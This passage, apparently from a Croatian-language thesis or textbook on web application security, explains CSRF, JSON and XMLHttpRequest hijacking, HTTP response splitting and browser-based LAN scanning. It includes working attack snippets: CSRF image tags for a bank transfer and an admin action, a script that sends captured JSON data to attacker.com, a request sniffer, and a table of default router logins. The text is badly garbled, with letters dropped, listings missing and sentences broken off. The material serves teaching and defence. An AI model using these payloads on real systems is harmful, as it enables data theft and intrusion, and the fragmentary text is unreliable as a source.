osigurati da funkcije pristupa datotekama ili tokovima kao argumente ne dobivaju izravno
korisniki unos;
posebno oprezno provjeravati ulaze koji se alju funkcijama izvoenja na sustavu, kao to su
system(), eval(), passthru() i operator jednostruke kvaice (`);
direktoriji, zapisi baze podataka, kljuevi, URL ili parametar formulara. Ukoliko ne postoji provjera
pristupa, napada moe referencom manipulirati da bi pristupio drugim objektima bez autorizacije.
Mnoge aplikacije izlau prema korisnicima reference na interne objekte. Napadai koriste izmjenu
parametara u svrhu zamjene referenci i krenja namjeravane, ali nesprovedene pristupne politike.
esto se te reference odnose na datoteke sustava ili baze podataka te je stoga aplikacija ranjiva.
Ukoliko kd dozvoljava korisniku da unosom specificira imena datoteka ili putove do datoteka, kao
u ispisu 3.12, mogue je da to napadau otvara mogunost izlaska iz direktorija aplikacije i pristup
drugim resursima.
Ispis 3.12. Primjer dozvole specifikacije datoteke korisniku
<select name="language"><option value="fr">Franais</option></select>
require_once ($_REQUEST['language]."lang.php");
Najbolja zatita za izbjegavanje izlaganja izravnih referenci na objekt je koritenje popisa, mape ili
druge indirektne metode koju je lako provjeriti. Ukoliko je nuno koristiti izravnu referencu,
potrebno je osigurati da ju je korisnik autoriziran koristiti. Ostvarivanje standardnog naina
referenciranja na objekte aplikacije je vrlo bitno za:
Ukoliko je nuno izloiti referencu na sistemsku datoteku, nuno je koristiti indekse popisa ili mape
da bi se zaobila mogunost manipulacije putova i imena datoteka, kao u ispisu 3.14.
Ispis 3.14. Primjer ispravnog koritenja indeksa popisa
http://www.example.com/application?file=1
Ukoliko je nuno izloiti reference na strukture u bazi podataka, potrebno je osigurati da SQL upiti i
drugi pristupi bazi podataka dozvoljavaju prikaz samo autoriziranih zapisa kao u ispisu 3.15.
Ispis 3.15. Primjer provjere autorizacije pri SQL upitu
int cartID = Integer.parseInt( request.getParameter( "cartID" ) );
User user = (User)request.getSession().getAttribute( "user" );
String query = "SELECT * FROM table WHERE cartID=" + cartID + " AND userID=" +
user.getID();
danim korisnikim podacima od strane Web preglednika ranjiva. Naalost, danas se velik broj
aplikacija pouzda iskljuivo na automatski poslane korisnike podatke kao to su kolaii sjednice,
podaci bazne autentifikacije, izvorine IP adrese, SSL certifikati, podaci Windows domene i slino.
Ova ranjivost je poznata i pod drugim nazivima, ovisno o tome to napada pokuava uiniti i na
koji nain, npr. kontrola sjednice (engl. Session Riding), napad jednog klika (engl. One-Click
Attacks), krivotvorenje reference (engl. Cross site reference forgery), neprijateljsko povezivanje
(engl. hostile linking) i automatizacija napada (engl. automation attack). Kratica XSRF je takoer
esto koritena.
Tipian CSRF napad na stranice Web foruma moe imati oblik usmjeravanja korisnika na pozivanje
neke funkcije, kao to je odjava sa stranice. Ispis 3.16 prikazuje oznaku u Web stranici koju gleda
korisnik, a koja e generirati zahtjev za odjavu.
Ispis 3.16. Primjer jednostavnog CSRF napadakog kda
<img src="http://www.example.com/logout.php">
Ukoliko bi aplikacija internet bankarstva mogla procesirati zahtjeve kao to je prijenos novca, napad
slian ispisu 3.17 bi mogao biti dozvoljen.
Ispis 3.17. CSRF napad na prijenos novca aplikacije internet bankarstva
<img
src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct&toAcct=43
45754&toSWIFTid=434343&amt=3434.43">
Oba navedena napada su izvediva jer se korisniki autentifikacijski podaci (tipino kolai sjednice)
automatski ukljuuju u zahtjev koji odailje preglednik. Ukoliko oznaka koja sadri napad moe biti
ubaena u ranjivu aplikaciju, tada je mogunost za pronalazak prijavljene rtve znatno vea, slino
kao kod poveanja rizika koritenjem pohranjenog XSS napada. XSS ranjivost nije potrebna da bi
CSRF napad bilo mogue izvriti, ali je nuno napomenuti da je svaka aplikacija ranjiva na XSS
napad osjetljiva i na CSRF napad. CSRF napad moe eksploatirati XSS ranjivost da bi ukrao bilo
koje neautomatizirano poslane korisnike podatke koji postoje kao zatita od CSRF napada. Mnogi
crvi koriste kombinaciju obje tehnike.
Umjesto povrede povjerenja koje korisnik ima prema pojedinom posluitelju, CSRF napad vri
povredu povjerenja koje posluitelj ima prema korisniku. Obzirom da CSRF ukljuuje krivotvoreni
HTTP zahtjev, potrebno je razumjeti osnove protokola koji se koristi za komunikaciju korisnika i
posluitelja. Klijenti (Web preglednici) alju posluitelju HTTP zahtjeve, a posluitelj im odgovara
HTTP odgovorima. Zahtjev i pripadajui odgovor skupa tvore HTTP transakciju. Osnovni primjer
HTTP zahtjeva izgleda kao u ispisu 3.18.
Ispis 3.18. Primjer HTTP zahtjeva
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*
$_SERVER['HTTP_ACCEPT'].
Najjednostavniji tip CSRF napada koristi <img> HTML element da bi inicirao krivotvoreni zahtjev.
Da bi se lake shvatilo, zamislimo da je na prethodni zahtjev poslan sljedei odgovor, kao u ispisu
3.19.
Ispis 3.19. Primjer HTTP odgovora
HTTP/1.1 200 OK
Content-Length: 61
<html>
<img src="http://example.org/image.png" />
</html>
Kada preglednik vri interpretaciju primljenog HTML sadraja, poslati e GET zahtjev da bi
dohvatio dodatne resurse potrebne za prikaz stranice. Nakon interpretacije gornjeg odgovora,
preglednik e odaslati sljedei zahtjev, kao u ispisu 3.20.
Ispis 3.20. Primjer HTTP zahtjeva za dohvat slike
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/1.4
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Ovaj zahtjev je jednak zahtjevu koji je inicirao korisnik pristupom stranici. Slika 3.5 prikazuje nain
na koji CSRF napadi mogu iskoristiti ovaj nain rada preglednika.
Da bi se bolje shvatio rizik CSRF napada, pogledajmo sljedei primjer. Jednostavan forum na adresi
http://forum.example.org daje formular za unos objave kao u ispisu 3.21.
Ispis 3.21. Jednostavan formular za unos objave na forumu
<form action="/post.php">
<p>Subject: <input type="text" name="subject" /></p>
<p>Message: <textarea name="message"></textarea></p>
<p><input type="submit" value="Add Post" /></p>
</form>
Ako korisnik unese foo kao naslov i bar kao poruku, HTTP zahtjev slian zahtjevu u ispisu 3.22 e
biti poslan (pretpostavljamo da se identifikator sjednice alje kao kolai).
30
Kada preglednik pokua dohvatiti sliku na navedenom URL-u, HTTP zahtjev e biti identian
onome u prolom primjeru, ukljuujui i slanje PHPSESSID kolaia sjednice. Jednostavnom
promjenom URL-a, napada moe modificirati naslov i tijelo poruke u bilo koju vrijednost pa ak i
XSS napad. Sve to napada treba napraviti jest ekati da rtva posjeti stranicu koja sadri ovaj kd,
a rtvin preglednik e uiniti sve ostalo u pozadini. rtva e vrlo vjerojatno biti potpuno nesvjesna
da se napad dogodio. Opasniji napadi mogu krivotvoriti zahtjev za kupnjom ili vriti
administrativne zadatke, ak i u lokalnoj mrei. Ukoliko promotrimo primjer gdje u lokalnoj mrei
imamo aplikaciju http://192.168.0.1/admin/ koja dozvoljava administrativnim korisnicima kontrolu
nad statusom radnika, moemo samo zamisliti to se sve moe uiniti ukoliko je korisnik prijavljen
na aplikaciju. Unato dobrom mehanizmu kontrole sjednice i injenici da se aplikaciji ne moe
pristupiti s vanjske mree, CSRF napad sve te zatite moe zaobii jednostavnim kdom kao u
ispisu 3.24.
Ispis 3.24. Primjer CSRF napada na posluitelj u lokalnoj mrei
<img src="http://192.168.0.1/admin/terminate_employee.php?employee_id=123"/>
Slika 3.6 prikazuje na koji nain se napad moe izvesti da bi se penetrirala inae sigurna lokalna
mrea.
Najizazovnija karakteristika CSRF napada jest da legitiman korisnik alje zahtjev. Obzirom da nije
realno oekivati da Web stranice nee dozvoljavati element slike u svom HTML kdu, problem se
mora rjeavati pri prihvatu krivotvorenog zahtjeva. Osnovni problem je, naravno, detekcija
krivotvorenog zahtjeva. Jedan od naina detekcije je dodavanje anti-CSRF oznake u formulare.
Ukoliko se umjesto formulara za slanje poruke na forum.example.org koristi formular kao u ispisu
3.25, jednostavan CSRF napad kao u prethodnim sluajevima je eliminiran.
31
Kako je vidljivo u primjeru, kada korisnik poalje zahtjev za formularom, aplikacija generira novu
oznaku trenutne akcije, koju sprema u podatke o sjednici korisnika te ju umee u skriveno polje
formulara. Nakon to je zahtjev za post.php odaslan s novim parametrima, aplikacija
$_POST['token'] varijablu moe usporediti s $_SESSION['token'] varijablom. Osim toga, mogue je
implementirati i istek vremenske kontrole da bi se dodatno minimizirao rizik.
Kao jo jedan od naina za bolju kontrolu sjednice i sprjeavanje ove vrste napada, moemo
koristiti i metodu otiska prsta. U toj metodi se za generiranje tajne oznake (otiska prsta) kao u
prethodnom primjeru, moe koristiti dodatne opcije identifikacije korisnika. Aplikacija kroz
informacije
iz
$_SERVER['HTTP_USER_AGENT'],
$_SERVER['HTTP_REFERER']
i
$_SERVER['REMOTE_ADDR'] moe generirati specifine podatke za pojedinog korisnika te e
napada u ovom sluaju morati aplikaciji pokazati da mu je poznat identifikator sjednice, tajna
oznaka, te e morati generirati isto zaglavlje zahtjeva za slanje poruke kao kad je generiran
formular, te koristiti istu IP adresu. Meutim, treba obratiti panju da se varijabla
$_SERVER['REMOTE_ADDR'] vrlo rijetko ili gotovo nikada ne koristi u tu svrhu. Razlog je
jednostavan. Mnogo je velikih pruatelja Internet usluga koji korisnicima u kratkim vremenskim
razmacima mijenjaju IP adresu, to bi dovelo do este automatske odjave velikog broja korisnika,
jer ih aplikacija ne bi prihvatila kao autorizirane korisnike. To je sa strane poslovanja aplikacije
neprihvatljivo [28].
Pri izgradnji obrane od CSRF napada, potrebno se fokusirati i na eliminaciju XSS ranjivosti u
aplikaciji obzirom da se njihovom eksploatacijom moe zaobii veina mehanizama obrane od
CSRF napada. Aplikacije moraju osigurati da se ne oslanjaju iskljuivo na korisnike podatke ili
oznake koje se automatski alju od strane preglednika. Jedino rjeenje je koritenje prilagoene
oznake koju preglednik nee zapamtiti pa ju nee niti automatski slati kod CSRF napada. Sljedee
strategije obrane trebale bi biti prisutne u svim aplikacijama:
umetnuti prilagoene nasumine oznake u svaki formular i URL koji nee biti automatski
podnesen od strane preglednika, npr. kao u ispisu 3.26.
Ispis 3.26. Umetanje nasumine oznake u formular
</form>
Ovi prijedlozi e viestruko smanjiti mogunost eksploatacije CSRF ranjivosti, ali napredni napadi
mogu zaobii veinu navedenih mehanizama zatite. Stoga je najbolja tehnika zatite koritenje
jedinstvenih oznaka i eliminacija svih XSS ranjivosti u aplikaciji. Meutim, vidjeti e se u nekim od
kasnijih primjera, da niti ove metode nisu uinkovita protiv vjetog napadaa.
detaljno rukovanje grekama, gdje ispis o pogrekama daje previe informacija, kao to je
trag izvravanja, neispravni SQL upiti i druge informacije o pronaenim pogrekama;
funkcije koje daju razliite rezultate ovisno o razliitim ulazima. Primjerice, dostava istog
korisnikog imena uz razliite zaporke funkciji za prijavu trebala bi vratiti istu poruku
ukoliko korisnik ne postoji ili je zaporka neispravna. Meutim, velik broj sustava generira
razliite pogreke.
osigurati da sigurni putovi koji imaju vie ishoda vraaju sline ili identine poruke o
pogreci u slinom vremenskom odmaku. Ukoliko to nije mogue, potrebno je razmotriti
nasumian vremenski odmak za sve zahtjeve, da bi se napadaa onemoguilo u
zakljuivanju na bazi trajanja pojedine obrade.
33
osigurati da svaka stranica ima vezu na funkciju odjave, te da ta funkcija unitava sve
podatke o sjednici na posluiteljskoj strani, kao i podatke o kolaiima na strani klijenta;
Najvaniji aspekt je osigurati da svi podaci koji trebaju biti enkriptirani, jesu zaista enkriptirani.
Osim toga, potrebno je osigurati da je enkripcija ispravno implementirana. Obzirom da postoji
mnogo naina za neispravno koritenje kriptografije, potrebno je drati se sljedeih preporuka:
Ukoliko se ipak koriste slabi algoritmi, dodatnu panju treba pridijeliti protokolu zatite koji se
koristi. Spomenuti algoritmi nisu slaba karika u zatiti ukoliko se ispravno koriste u svrhe za koje su
namijenjeni.
34
koristiti SSL za sve autentificirane veze ili kad god se prenose osjetljivi podaci kao to su
korisnike informacije, podaci o kreditnim karticama, kao i ostale privatne informacije;
skrivene ili posebne stranice koje se nude samo privilegiranim korisnicima nisu zatiene,
ve im se moe pristupiti ukoliko neprivilegirani korisnik zna da postoje;
Jedan od naina dobre zatite pristupa URL-ima jer stvaranje matrice pristupa u kojoj se
specificirane uloge korisnika i funkcije kojima je mogue pristupiti. Web aplikacije moraju
osigurati kontrolu pristupa za svaki URL i svaku poslovnu funkciju. Nije dovoljno kontrolu pristupa
vriti na prezentacijskom sloju, a poslovnu logiku ostaviti nezatienu. Takoer, nije dovoljno
35
nametnuti matricu kontrole pristupa kao dio poslovnog modela, arhitekture i dizajna
aplikacije;
ne pretpostavljati da korisnici nee biti svjesni skrivenih URL-ova ili funkcija. Uvijek
osigurati da e administrativne i ostale funkcije visoke privilegije biti dobro zatiene;
zabraniti pristup svim tipovima datoteka s kojima aplikacija ne barata. U idealnom sluaju,
ovo filtriranje treba pratiti pristup prihvaanja poznatih valjanih pravila.
Prikazan je objekt jednostavne poruke koji sadri polja potrebna za elektroniku poruku. Ovaj
objekt se moe serijalizirati pa ga JavaScript kd moe koristiti. Programer ga moe pridjeliti novoj
varijabli koju e procesirati, ili izvriti evaluaciju funkcijom eval(). Ukoliko napada poalje liniju
subject koja sadri zloudni skriptni kd, tada Web preglednik postaje rtva XSS napada.
JavaScript objekt moe sadrati podatke, ali i metode. Nepravilna serijalizacija JavaScript objekata
moe otvoriti sigurnosnu rupu koja se moe eksploatirati vjetim umetanjem zloudnog kda.
36
Mogue je umetnuti zloudnu skriptu u polje Link ili polje Desc. Ukoliko se ovaj objekt umetne u
DOM i izvri, ponovno je preglednik rtva XSS napada.
Umetanje skripte umjesto vrijednosti posljednjeg mjesta u polju moe dovesti do njenog izvoenja.
Ukoliko Product-review varijabla dohvaena s tree strane sadri JavaScript kd, on e se izvriti.
izvrava unutar trenutnog DOM konteksta, varijabla sjednice je takoer izloena napadu. Stoga
cijeli mehanizam zaobilaenja politike istog izvora treba kvalitetno testirati prije implementacije u
aplikaciju [40].
U ovom sluaju je mogue izvriti zaobilaenje politike istog izvora putem Flash-a prema bilo kojoj
domeni [34,35,36].
38
otkrivanje logike aplikacije U aplikacijama koje koristite veu koliinu JavaScript kda,
potrebno je razlikovati logiku aplikacije vezanu uz pojedini dogaaj. Svaka datoteka s
JavaScript kdom moe sadrati mnotvo funkcija, ali pojedini dogaaj moe koristiti samo
mali dio kda iz svake od datoteka.
U nastavku e biti prikazano kako koritenjem Firefox preglednika i njegovih dodataka moemo
detaljno prouiti aplikaciju sa strane klijentskog kda.
Kako je reeno, aplikacija moe prikazati korisniku samo jednu stranicu i iz nje vriti viestruke
pozive prema posluitelju da bi stvorila konani izgled. Pozivi mogu dohvaati sadraj ili novi
JavaScript kd. Koritenjem dodatka Firebug za Firefox preglednik, moemo identificirati
XMLHttpRequest pozive. Ovakvom analizom aplikacije, mogue je identificirati ranjive interne
pozive aplikacije, upite prema bazi podataka ili zahtjeve slane POST metodom.
Ukoliko se vri ozbiljna provjera aplikacije, potrebno je identificirati sve posluiteljske resurse koji
se koriste. Kako je reeno, tradicionalne metode otkrivanja resursa koje posluitelj koristi u prikazu
stranica nisu pretjerano uinkovite u ovom sluaju. Naime, AJAX aplikacija pozive vri koritenjem
XMLHttpRequest objekta pa se veze u stranici ne nalaze u standardnom obliku ( <a
href=www.prva.hr />) ve kao dio JavaScript kda. Stoga je najbolji nain pregled JavaScript
kda i identifikacija XMLHttpRequest poziva. Veze se mogu pojaviti na stranicama u razliitim
oblicima, na primjer:
<a href="/hi.html">go2</a><br>
ili izravno u JavaScript kdu. Prva veza e izvriti pozivanje getMe() funkcije koja moe izgledati
kao u ispisu 3.33. Ta funkcija se moe nalaziti i u odvojenoj datoteci.
Ispis 3.33. Primjer getMe() funkcije za izvravanje AJAX poziva
function getMe()
{
var http;
http = new XMLHttpRequest();
http.open("GET", "hi.html", true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById('result').innerHTML = response;
}
}
http.send(null);
}
Prikazana funkcija vri poziv za dohvaanje hi.html stranice. Koritenjem Chickenfoot dodatka
Firefox pregledniku i jednostavne skripte, mogue je automatski simulirati klikove, tako da se
uspjeno dohvate svi onclick dogaaji.
Ipak, da bi se shvatila logika aplikacije, potrebno je prouiti svaki od moguih dogaaja. Jedini
nain je prolazak kroz kd i promatranje njegovog izvravanja. Za debug-iranje se ponovno moe
iskoristiti Firebug dodatak. On nam omoguuje detaljnu inspekciju kda, postavljanje toaka
prekida, inspekciju trenutnog DOM stabla i trenutnih vrijednosti varijabli [15,20,27,60,61].
klijentu je maskiranje (engl. obfuscation) i minimizacija koja kd na klijentu na prvi pogled ini
neitljivim.
Minimizacija se vri tako da se iz izvornog kda izbacuju nepotrebni znakovi i razmaci te se
eventualno vri promjena imena varijabli da bi ukupna veliina kda bila to manja. Primjetno je da
bi ovaj postupak bio pogodan i u svrhu smanjenja prometa pri dohvaanju Web stranice.
Prvi kd je izvorni, formatirani i itki kd, kao u ispisu 3.34.
Ispis 3.34. Primjer itkog formatiranog JavaScript kda
var message="Hello World!";
function MessageBox(message2)
{
alert(message2+"\n"+message);
}
MessageBox("OK");
Vrlo je vano napomenuti da ovo nije ispravan nain zatite aplikacije i njene logike. Obzirom da su
ovi procesi oito dvosmjerni, jasno je da se iz neitkog kda moemo dobiti neto vrlo slino
poetnom kdu i u prilino itkom obliku. Stoga se ovaj tip zatite ne bi trebao ozbiljnije koristiti, a
posebice ne njime pokuavati sakriti odreene propuste ili ranjivosti koje su vidljive kroz kd na
klijentu.
40
URL mete
http://store.company.com/dir2/other.html
http://store.company.com/dir/inner/another.html
https://store.company.com/secure.html
http://store.company.com:81/dir/etc.html
http://news.company.com/dir/other.html
Ishod
Uspjeh
Uspjeh
Neuspjeh
Neuspjeh
Neuspjeh
Razlog
Razliit protokol
Razliit pristup
Razliit posluitelj
Primjeri prikazuju relativno jasna ogranienja vezano uz pristup i protokol. Akcije koje uzrokuju
provjeru po danoj politici su:
XMLHttpRequest zahtjevi;
manipulacija kolaiima.
lano predstavljanje kao legitiman korisnik povreda povjerenja Web posluitelja prema
klijentu;
lano predstavljanje kao legitimna Web stranica povreda povjerenja klijenta prema Web
posluitelju.
Zanimljivo je da u politici postoji jo jedna iznimka koja se odnosi na domene koje dijele isti dio
imena domene. Primjerice, dokumenti s prvi.hr ne mogu manipulirati dokumentima s drugi.hr.
Meutim, ogranienja su malo drugaija izmeu dokumenata s www.prvi.hr i dokumenata s
roditeljske domene prvi.hr. HTTP odgovori s www.prvi.hr mogu itati i postavljati kolaie s
prvi.hr, kao to je opisano u RFC 2965 dokumentu [53].
Prijelaz roditeljske domene je takoer mogu kroz skripte. Ukoliko je naredba u ispisu 3.37
izvedena iz poddomene prvi.hr (npr. www.prvi.hr), domena dokumenta e se uspjeno promijeniti.
Ispis 3.37. JavaScript naredba za promjenu domene
Document.domain = prvi.hr;
Svi preglednici dozvoljavaju gornji izraz, ali nije nuno da dozvoljavaju i suprotno. IE, Safari i
Konqueror dozvoljavaju vraanje na originalnu domenu, dok Mozilla i Opera to ne dozvoljavaju.
Ovo u prvom sluaju daje mogunost izmjene domene po volji pa se omoguuje komunikacija
dokumenata s razliitih poddomena. Meutim, istim kdom nije dozvoljeno promijeniti domenu, tj.
kd kao u ispisu 3.37 pokuajem promjene domene na drugi.hr uzrokuje povredu politike i uzrokuje
pogreku [23,24,33].
41
Prikazani zahtjev moe biti iskoriten protiv posluitelja, a radi se o XSS tipu napada.
2. Mogue je prisiliti preglednik da poalje zahtjev na bilo koji URL na nain kao u ispisu
3.39.
42
Ovim napadom je mogue izazvati DoubleFree() pogreku i prepisati dio kda koji
obrauje strukturne iznimke.
43
2. Postoji vie preglednika i njihovih dodataka koji su ranjivi na dijeljenje HTTP zahtjeva.
Popis ukljuuje:
IE 6.0 sp2,
44
45
Ukoliko se u sredini komunikacije nalazi Web posrednik, on e primiti dva zahtjeva i dohvatiti dva
odgovora. Prvi odgovor je stranica http://www.evil.com/2.html, iji sadraj moe biti kao u ispisu
3.43.
Ispis 3.43. Sadraj stranice 2.html iz primjera
<html> <body> foo </body> </html>
Drugi odgovor je stranica http://www.evil.com/3.html, iji sadraj moe biti kao u ispisu 3.44.
46
Preglednik je odaslao samo jedan zahtjev pa e drugi odgovor biti postavljen u red ekanja na
pregledniku, te e se pridjeliti sljedeem zahtjevu koji e se odaslati.
Sljedei potez napadaa je otvoriti novi prozor koritenjem JavaScript-a i pozivom na bilo koju
stranicu (npr. http://www.banka.com) i preglednik e prikazati prethodno primljeni drugi odgovor
umjesto izvorne stranice.
Krijumarenje HTTP zahtjeva i odgovora (engl. HTTP request and response smuggling) su dva
zanimljiva napada koji ne napadaju preglednik ili posluitelj, ve napadaju sitne razliitosti koje se
pojavljuju u ureajima u mrei koji obrauju HTTP zahtjeve. Uinak ovih napada je slian
dijeljenju HTTP odgovora [54,57].
Kada je kd izvren, xmlhttp objekt nee biti stvoren kao nova instanca XMLHttpRequest klase, ve
e biti kloniran iz originalnog XMLHttpRequest objekta. Iz razvojne perspektive, ovaj intuitivan i
proiriv pristup omoguuje dodavanje novih metoda i atributa originalnim objektima. Na primjer,
dodavanje nove metode moe se vriti kao u ispisu 3.46.
Ispis 3.46. Primjer stvaranja nove metode XMLHttpRequest objekta
XMLHttpRequest.newMethod= function() {
return "value";
}
Nakon toga, nova metoda e biti dostupna svim nanovo kloniranim objektima jednostavnim
pozivom, kao u ispisu 3.47.
47
Iako su ovo iroke mogunosti, prikazana proirivost bi mogla dozvoliti napadau da prepie
metode originalnih objekata. U sljedeem primjeru prikazan je nain implementacije novog objekta
koji e omotati originalni XMLHttpRequest objekt, te jednom ubaen u kd, dozvoliti napadau da
presree bilo koju metodu ili dostupni atribut. Novi objekt i napad bit e potpuno nevidljivi
aplikaciji i krajnjim korisnicima. Tehnika se moe primijeniti na razliite objekte, ukljuujui i
Internet Explorer ActiveX komponente. Najvaniji koncept sastoji se od kda kao u ispisu 3.48.
Ispis 3.48. Primjer implementacije omotaa oko originalnog objekta
var xmlreqc=XMLHttpRequest;
XMLHttpRequest = function() {
this.xml = new xmlreqc();
return this;
}
Funkcija sniff() koristi ve opisanu metodu zaobilaenja politike istog izvora koritenjem oznake
slike da bi poslala svoje ulazne argumente napadau. U sljedeem primjeru prikazano je kako
omotati originalne metode i presresti podatke, to je prikazano u ispisu 3.50.
Ispis 3.50. Implementacije omotaa metode i nain presretanja podataka
XMLHttpRequest.prototype.send = function (pay){
// Oteta metoda .send
sniff("Hijacked: "+" "+pay);
pay=HijackRequest(pay);
return this.xml.send(pay);
}
Koritenjem prethodnog omotaa, mogue je dinamiki presresti sve podatke ili ih modificirati
koritenjem bilo koje funkcije (HijackRequest() u ovom primjeru). Sljedei odsjeak kda u
ispisu 3.51 pokazuje na koji nain napada moe modificirati vrijednost bilo kojeg originalnog
atributa i ponaanje cijele aplikacije koritenjem defineSetter i defineGetter metoda:
48
Koritenjem ove tehnike, napada moe modificirati ili ubacivati zahtjeve i odgovore na nain koji
je nevidljiv korisniku i aplikaciji. Da bi se pojasnile posljedice ovog napada, razmotrimo sljedee.
Zamislimo da je AJAX-om izvedena aplikacija za bankovne prijenose. Ukoliko je aplikacija
ranjiva na XSS napad ili slinu ranjivost koja omoguuje ubacivanje zloudnog kda, napada
nakon ubacivanja kda, svakim zahtjevom autoriziranih korisnika koji koriste aplikaciju, dobiva
presretnute zahtjeve i odgovore. U ovom sluaju, napad je potpuno nezavisan o autentifikacijskim
mehanizmima aplikacije.
Prijenos podataka JSON-om direktno je ranjiv na otimanje JavaScript-a. Ukoliko rtva posjeti
stranicu koja sadri sljedei zloudni kd kao u ispisu 3.52, informacije koje rtva prima od
posluitelja mogu se poslati napadau.
Ispis 3.52. Primjer krae podataka i slanja napadau
<script>
// prepisati konstruktor kojim se kreiraju svi objekti tako
// da kad god je email polje postavljeno, kod poziva metodu
// captureObject(). Obzirom da je email finalno polje,
// omogueno je ukrasti cijeli objekt.
function Object() {
this.email setter = captureObject;
}
// Slanje uhvaenog objekta napadau
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Koritenje oznake skripte za dohvat rtvinih podataka -->
<script src="http://www.example.com/object.json"></script>
Zloudni kd u prethodnom primjeru koristi oznaku skripte da bi ukljuila JSON objekt u trenutnu
stranicu. JSON objekt moe biti bilo koji JSON resurs kojem autorizirani korisnik moe pristupiti,
npr. njegov adresar u aplikaciji za elektroniku potu. Preglednik e poslati zahtjev za JSON
objektom, ukljuujui i potreban kolai sjednice u zahtjevu pa e zahtjev biti obraen kao da je
doao od legitimne aplikacije. Kada JSON objekt stigne do klijenta, bit e evaluiran u kontekstu
zloudne stranice. Da bi prisustvovala evaluaciji JSON-a, zloudna stranica je redefinirala
JavaScript funkciju koja se koristi za kreiranje novih objekata. Na ovaj nain, zloudni kd je
49
postavio rupu koja mu omoguava pristup stvaranju novih objekata i prijenos sadraja nazad na
zloudnu stranicu [13,37,66].
Kako bi se uspjeno saznao prefiks lokalne mree koju elimo provjeriti, mogue je dohvatiti
mrenu adresu rtve u lokalnoj mrei. Jedna od mogunosti je koritenje Java applet-a koji ima
mogunost dohvaanja stvarne adrese raunala ak i ako se rtva nalazi iza sigurnosne stijene ili
posrednika koji vre NAT funkciju. Da bi dohvaenu adresu iz applet-a bilo mogue proslijediti
JavaScript-u, potrebno ju je smjestiti negdje gdje joj JavaScript moe pristupiti. Jedna od
mogunosti je adresa Web stranice u pregledniku.
Druga mogunost je izravno pozivanje Java klasa koje je mogue iz Firefox preglednika. Isti
rezultat dobiva se JavaScript kdom u ispisu 3.54.
50
Ispis 3.54. Dohvat adrese u lokalnoj mrei JavaScript pozivom Java klase
function natIP() {
var w = window.location;
var host = w.host;
var port = w.port || 80;
var Socket = (new
java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;
}
Ukoliko se lokalna adresa rtve ne moe dohvatiti na ove naine, uvijek ju moemo pokuati
pogoditi, ili pokuati skenirati cijeli raspon lokalnih mrenih adresa.
Kako je ve vieno u prikazanim primjerima, koritenjem oznake skripte ili slike, napada je u
mogunosti slati HTTP zahtjeve prema bilo kojem resursu, ali obzirom na politiku istog izvora, nije
u mogunosti primiti odgovor. Stoga mora postojati nain da se sazna da li je posluitelj prema
kojem je zahtjev poslan odgovorio ili ne. Ukoliko se poalje zahtjev na sljedei nain, kao u ispisu
3.55, posluitelj e na zahtjev odgovoriti ukoliko je aktivan.
Ispis 3.55. URL oznaka za dohvat resursa u skeniranju mree
<SCRIPT SRC=http://192.168.1.100/></SCRIPT>
Ukoliko se onerror dogaaj ne izvede, pronaena je traena aplikacija. ire gledano, osim slika, za
potvrdu o vrsti aplikacije, moe se koristiti i CSS datoteke ili JavaScript skripte koje su jedinstvene
za traenu aplikaciju. ak, ovisno o veliinama pojedinih datoteka, moe se odrediti i o kojoj se
verziji aplikacije radi.
Na ve opisani nain, nakon detekcije o kojoj se aplikaciji radi, a koritenjem CSRF napada,
moemo pristupati administrativnim aplikacijama na lokalnoj mrei. Napada s dovoljno
informacija moe ak mijenjati postavke usmjerivaa ili drugih ureaja koji se nalaze u lokalnoj
mrei, a prema kojima je rtva autentificirana. Ukoliko rtva nema valjani kolai sjednice, napada
moe iskoristiti injenicu da je sigurnost na lokalnim mreama esto zanemarena. Obzirom da se
smatra da je lokalna mrea sigurnije podruje te da posluitelje koji nisu dostupni s vanjske mree
nije potrebno tititi kao i one dostupne, vrlo est sluaj je ostavljanje pretpostavljenih vrijednosti
korisnikog imena i zaporke za administratora. Dakle, zahtjevom kao u sljedeem primjeru u ispisu
3.57 moemo korisnika prijaviti na aplikaciju.
Ispis 3.57. URL oznaka za prijavu korisnika na aplikaciju
<img src=http://admin:password@192.168.1.1 />
51
Tablica 3.2 prikazuje tablicu pretpostavljenih vrijednosti administratorske prijave za neke od esto
koritenih usmjernika.
Tablica 3.2. Pretpostavljene vrijednosti korisnikog imena i zaporke za esto koritenu mrenu opremu
D-Link
DI-514
admin
(prazno)
DI-524
admin
(prazno)
DI-614+
admin
(prazno)
DI-624
admin
(prazno)
DI-624+
admin
(prazno)
DI-714
admin
(prazno)
DI-724P+
admin
(prazno)
DI-784
admin
(prazno)
DWL-2100AP
admin
(prazno)
DWL-G700AP
admin
(prazno)
admin
admin
WGR-200
admin
admin
WGR-250
admin
admin
BEFW11S4
(prazno)
admin
WAP11
(prazno)
admin
WAP54G
(prazno)
admin
WRK54G
(prazno)
admin
WRT54G
(prazno)
admin
WRT54GS
(prazno)
admin
WRT55AG
(prazno)
admin
WRV54G
admin
admin
(prazno)
admin
Dell
TrueMobile 2300
Gateway
Linksys
Microsoft
MN-500
52
koritenje linijskog iframe okvira. Ono to se njegovim koritenjem dobiva jest da zloudni kd
moe:
postavljati ili brisati sadraj u drugom prozoru (npr. postavljati polja u formularu i poslati
formular);
i slino, dok god se nalaze u domeni istog izvora, to znai da se politika istog izvora odnosi na
iframe okvir jednako kao i na AJAX pozive.
XSS posrednik je obino izveden kao samostalna aplikacija koju koristi napada te obino ima
grafiko suelje i omoguava olakano kontroliranje rtvinog preglednika.
Uobiajeno curenje informacija kod XSS-a koritenjem linijskog okvira prikazano je na slici 3.10.
Ukoliko rtva posjeti zaraenu stranicu, zloudni kd moe stvoriti novi prozor ili okvir i za
lokaciju mu postaviti neku stranicu koja se nalazi na istoj aplikaciji. Zloudni kd tada ima
mogunost itanja i pisanja po sadraju novostvorenog okvira. Da bi se omoguilo slanje podataka
prema napadau, koriste se ve poznate tehnike koritenjem oznake slike, a koritenjem oznake
